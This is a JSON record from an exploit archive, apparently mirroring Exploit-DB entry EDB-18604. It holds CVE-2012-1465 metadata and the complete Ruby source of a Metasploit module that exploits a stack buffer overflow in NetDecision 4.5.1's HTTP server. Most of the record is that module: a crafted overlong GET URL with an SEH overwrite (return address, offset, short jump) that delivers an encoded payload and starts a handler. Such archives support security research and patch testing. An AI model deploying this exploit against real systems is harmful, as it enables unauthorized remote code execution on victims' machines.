{"exploit":{"id":"EDB-18604","name":"Netmechanica NetDecision HTTP Server 4.5.1 - Remote Buffer Overflow (Metasploit)","description":"Netmechanica NetDecision HTTP Server 4.5.1 - Remote Buffer Overflow (Metasploit)","cves":["CVE-2012-1465"],"author":"Metasploit","published":"2012-03-15","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/18604","path":"exploits/windows/remote/18604.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-18604.rb","vulnerabilities":[{"id":"CVE-2012-1465","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the HTTP Server in NetMechanica NetDecision before 4.6.1 allows remote attackers to cause a denial of service (application crash) via a long URL in an HTTP request. NOTE: some of these details are obtained from third party information.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-1465","cvss":{"version":"2.0","baseScore":4.3,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2012-1465"},"updatedAt":"2024-08-06T19:01:00.401Z","retrievedAt":"2026-11-26T19:08:43.322Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-18604.png?v=2","url":"https://exploitbin.com/exploits/EDB-18604","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-18604/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-18604/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n#   http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = NormalRanking\n\n\tinclude Msf::Exploit::Remote::HttpClient\n\n\tdef initialize(info={})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => \"NetDecision 4.5.1 HTTP Server Buffer Overflow\",\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a vulnerability found in NetDecision's HTTP service\n\t\t\t\t(located in C:\\Program Files\\NetDecision\\Bin\\HttpSvr.exe).  By supplying a\n\t\t\t\tlong string of data to the URL, an overflow may occur if the data gets handled\n\t\t\t\tby HTTP Server's active window.  In other words, in order to gain remote code\n\t\t\t\texecution, the victim is probably looking at HttpSvr's window.\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'Prabhu S Angadi',  #Discovery, DoS PoC\n\t\t\t\t\t'sinn3r'            #Metasploit\n\t\t\t\t],\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t['OSVDB', '79651'],\n\t\t\t\t\t['URL', 'http://secunia.com/advisories/48168/'],\n\t\t\t\t\t['URL', 'http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt']\n\t\t\t\t],\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'BadChars' => \"\\x00\\x09\\x0a\\x0d\\x20\\x25\\x26\\x27\\x3f\",\n\t\t\t\t\t'StackAdjustment' => -3500,\n\t\t\t\t},\n\t\t\t'DefaultOptions'  =>\n\t\t\t\t{\n\t\t\t\t\t'ExitFunction' => \"seh\",\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[\n\t\t\t\t\t\t'NetDecision 4.5.1 on XP SP3',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t# POP/POP/RET - OLEACC.dll\n\t\t\t\t\t\t\t'Ret'    => 0x74C869E2,\n\t\t\t\t\t\t\t'Offset' => 1620\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t],\n\t\t\t'Privileged'     => false,\n\t\t\t'DisclosureDate' => \"Feb 24 2012\",\n\t\t\t'DefaultTarget'  => 0))\n\tend\n\n\tdef check\n\t\tres = send_request_cgi({'uri'=>'/'})\n\t\tbanner = res.headers['Server']\n\t\tif banner =~ /NetDecision\\-HTTP\\-Server\\/1\\.0/\n\t\t\treturn Exploit::CheckCode::Vulnerable\n\t\telse\n\t\t\treturn Exploit::CheckCode::Safe\n\t\tend\n\tend\n\n\tdef exploit\n\t\tbuf = \"/\"\n\t\tbuf << rand_text_alpha(675, payload_badchars)\n\t\tbuf << pattern_create(5) #Avoid TerminateProcess()\n\t\tbuf << rand_text_alpha(target['Offset']-buf.length, payload_badchars)\n\t\tbuf << \"\\xeb\\x06\" + rand_text_alpha(2, payload_badchars)\n\t\tbuf << [target.ret].pack('V*')\n\t\tbuf << payload.encoded\n\t\tbuf << rand_text_alpha(8000-buf.length, payload_badchars)\n\n\t\tprint_status(\"#{rhost}:#{rport} - Sending #{self.name}...\")\n\n\t\tsend_request_raw({\n\t\t\t'method' => 'GET',\n\t\t\t'uri'    => buf\n\t\t})\n\n\t\thandler\n\tend\nend","sha256":"b0360c6608a9f7f825bb2a16c5e986f0705fab59b76d7d1c6e39262c2c2249bc","bytes":2573,"fetchedAt":"2026-11-26T19:08:41.170Z","encoding":"utf-8 (display only; download retains original bytes)"}